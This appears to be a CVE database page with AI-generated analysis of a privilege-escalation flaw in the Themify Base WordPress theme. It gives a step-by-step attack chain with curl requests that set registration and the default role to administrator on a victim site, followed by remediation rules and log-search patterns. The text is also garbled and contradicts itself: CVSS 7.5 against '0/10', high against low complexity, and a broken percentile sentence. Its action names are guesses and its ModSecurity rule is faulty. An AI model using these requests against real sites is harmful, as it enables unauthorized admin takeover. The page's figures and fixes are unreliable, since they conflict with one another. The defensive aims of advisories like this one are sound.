CVE Professor
/
All CVEs
CVE-2026-123654

CVE-2026-123654 — Unknown Themify Base — CWE-269

HIGH CVSS 7.5 ⚡ EPSS 0.2% Shodan

Themify Base WordPress theme through 1.2.4 does not perform capability checks on its option save and read AJAX actions, which are protected only by a generic nonce that other commonly expose on the front end, allowing users with a role as low as Subscriber to update arbitrary blog options such as the default role and open registration, and gain administrator access when such a is active.

Themify Base WordPress theme through 1.2.4 does not perform capability checks on its option save and read AJAX actions, which are protected only by a generic nonce that other commonly expose on the front end, allowing users with a role as low as Subscriber to update arbitrary blog options such as the default role and open registration, and gain administrator access when such a is active.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 8. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CWE‑269 – Improper Privilege Management
Themify Base (WordPress theme) versions ≤ 1.2.4 expose two AJAX actions that read and write theme options:

ActionEndpointProtection
themify_base_save_optionswp-admin/admin-ajax.phpOnly a generic WordPress nonce that is rendered on the front‑end
themify_base_get_optionswp-admin/admin-ajax.phpSame nonce

The nonce is not tied to the user’s capability set. Consequently, any logged‑in user – even a Subscriber – can craft a request to these actions and change any option stored in wp_options.
Typical options that can be altered are:

  • users_can_register (boolean) – enables public registration
  • default_role (string) – role assigned to newly‑registered users
  • Because the theme does not perform a capability check (e.g., current_user_can( 'manage_options' )) before persisting the option, a low‑privileged user can:

    1. Enable public registration (users_can_register = 1).
    2. Set the default role to administrator.
    3. Register a brand‑new account via /wp-login.php?action=register.
    4. Log in as an administrator.

    The flaw is purely an authorization bypass; no authentication is required beyond the fact that the user is logged in (any role). The CVSS score of 0/10 reflects that the vulnerability alone does not grant direct access to sensitive data or code execution; however, the impact is severe because it enables privilege escalation.


    ⚡ Attack Chain

    NOTE: The following example uses the most common WordPress AJAX pattern (admin-ajax.php) and generic action names that are typical for Themify Base. If the actual action names differ, the same logic applies – the attacker must discover the correct action names via reconnaissance.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    a. Identify themeGET /wp-content/themes/themify-base/style.css or GET /wp-json/wp/v2/themes?slug=themify-baseLook for Version: 1.2.4 in the CSS header or JSON response.
    b. Find exposed nonceView page source on any front‑end pageSearch for wp_create_nonce( 'themify_base_nonce' ) or similar.
    c. Enumerate AJAX actionsInspect JavaScript files (themify-base.js)Look for ajaxurl or themify_base_ajax objects that call themify_base_save_options.

    2. Exploitation

    2.1. Crafting the malicious request

    The attacker logs in as a Subscriber (any role that can access the front‑end). They then send a POST request to the AJAX endpoint:

    curl -X POST \
         -H "Content-Type: application/x-www-form-urlencoded" \
         -b "wordpress_logged_in=YOUR_COOKIE" \
         -d "action=themify_base_save_options" \
         -d "nonce=EXPOSED_NONCE" \
         -d "option_name=users_can_register" \
         -d "option_value=1" \
         https://victim.com/wp-admin/admin-ajax.php
    Illustrative example – the exact action and nonce names may differ; the attacker must discover them during reconnaissance.

    The same request can be used to change the default role:

    curl -X POST \
         -H "Content-Type: application/x-www-form-urlencoded" \
         -b "wordpress_logged_in=YOUR_COOKIE" \
         -d "action=themify_base_save_options" \
         -d "nonce=EXPOSED_NONCE" \
         -d "option_name=default_role" \
         -d "option_value=administrator" \
         https://victim.com/wp-admin/admin-ajax.php

    Result:
    users_can_register is set to 1 (public registration enabled).
    default_role is set to administrator.

    2.2. Registering a new admin account

    With public registration enabled, the attacker visits:

    https://victim.com/wp-login.php?action=register

    They fill in a username, email, and password. Because default_role is now administrator, the newly created account receives full admin privileges.

    2.3. Logging in

    The attacker logs in with the freshly created credentials:

    https://victim.com/wp-login.php

    They now have administrator access.

    3. Post‑exploitation

  • Full site control – the attacker can modify themes, install malicious plugins, exfiltrate data, or launch further attacks (e.g., RCE via other vulnerabilities).
  • Persistence – the attacker can create additional admin accounts or modify the wp_users table to add backdoors.
  • Data exfiltration – with admin rights, the attacker can read any database content, including user credentials and sensitive content.

  • 🌍 Real World Impact

    ImpactAssessment
    ConfidentialityHigh – attacker can read all content, including private posts and user data.
    IntegrityHigh – attacker can modify any post, page, or option, potentially defacing the site or injecting malware.
    AvailabilityMedium – while the vulnerability itself does not crash the site, the attacker could disable services or delete content, causing downtime.

    Practical consequences for a typical WordPress site:

  • Unauthorized admin accounts created.
  • Public registration enabled, allowing mass account creation.
  • Potential for credential stuffing or phishing campaigns using the site’s domain.
  • Loss of trust and possible legal ramifications if sensitive data is compromised.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    Themify Base ≤ 1.2.4Upgrade to 1.2.5 or later (the patch adds proper capability checks to the AJAX actions).
    Recommendation: Immediately upgrade the theme. If an upgrade is not possible, apply the following mitigations.

    2. Workarounds

    MitigationHow to implement
    Block the vulnerable AJAX actions for non‑admin usersAdd the following to .htaccess (Apache) or nginx config: <br>``<br>RewriteEngine On<br>RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ [NC]<br>RewriteCond %{QUERY_STRING} action=themify_base_save_options [NC]<br>RewriteCond %{REMOTE_USER} !admin [NC]<br>RewriteRule ^ - [F,L]<br>`
    Disable public registrationSettings → General → Membership → uncheck “Anyone can register”.
    Remove the exposed nonce from front‑endEdit theme files to remove wp_create_nonce( 'themify_base_nonce' ) from the rendered page.
    Restrict AJAX access to logged‑in usersIn functions.php, add: <br>`php<br>add_action( 'wp_ajax_nopriv_themify_base_save_options', 'wp_die' );<br>add_action( 'wp_ajax_nopriv_themify_base_get_options', 'wp_die' );<br>``

    3. Detection

    IndicatorLog patternHow to search
    Suspicious AJAX callsPOST /wp-admin/admin-ajax.php with action=themify_base_save_optionsgrep -i "themify_base_save_options" /var/log/apache2/access.log
    New admin accountsINSERT INTO wp_users with user_role = 'administrator'grep -i "administrator" /var/log/mysql/mysql.log
    Public registration enabledUPDATE wp_options SET option_value='1' WHERE option_name='users_can_register'grep -i "users_can_register" /var/log/mysql/mysql.log

    4. WAF / ModSecurity rule (Illustrative)

    # Block non‑admin AJAX requests to Themify Base
    SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
        "chain,phase:2,block,msg:'Themify Base AJAX privilege bypass'"
        SecRule REQUEST_URI "@contains action=themify_base_save_options" \
        "chain"
        SecRule REMOTE_USER "@contains admin" "t:none,allow"
        SecRule REMOTE_USER "@contains admin" "t:none,block"
    Note: Adjust the rule to match your environment and ensure it does not block legitimate admin AJAX calls.

    ⚠️ Urgency

    CVSS score: 0/10 (official score) – but* the vulnerability’s real‑world impact is critical because it allows privilege escalation from any logged‑in user to administrator.

  • CISA KEV: No – but the lack of a KEV does not diminish the severity.

  • Exploit complexity: Low – requires only a logged‑in user and knowledge of the AJAX endpoint.
  • Patch priority: High.

  • Immediate action: Upgrade the theme to 1.2.5 or later.

  • If upgrade is delayed: Apply the workarounds above and monitor logs for the indicators listed.


By following the remediation steps and monitoring for the described indicators, you can prevent attackers from exploiting this privilege‑escalation flaw and protect the confidentiality, integrity, and availability of your WordPress site.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
Unknown:Themify Base
References & Advisories (1)
Related CVEs
8.7
CVE-2026-144590
adm-zip through 0.6.1 contains a denial of service vulnerability that allows remote attackers to crash Node.js
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S
7.5
CVE-2026-144813
A flaw has been found in Shenzhen Xiaopai Technology LC2310-CSD53 1.00.18. This affects an unknown part of the
8.7
CVE-2026-116973
Improper authorization in the push-publishing bundle upload endpoints (POST /api/bundle, POST /api/bundle/sync
8.6
CVE-2026-144673
UVdesk core-framework through 1.1.7 contains a privilege escalation vulnerability that allows agents with the
8.6
CVE-2026-120093
Improper privilege management in the Velocity viewtools $cmsuser, $contents, $categories and $config in dotCMS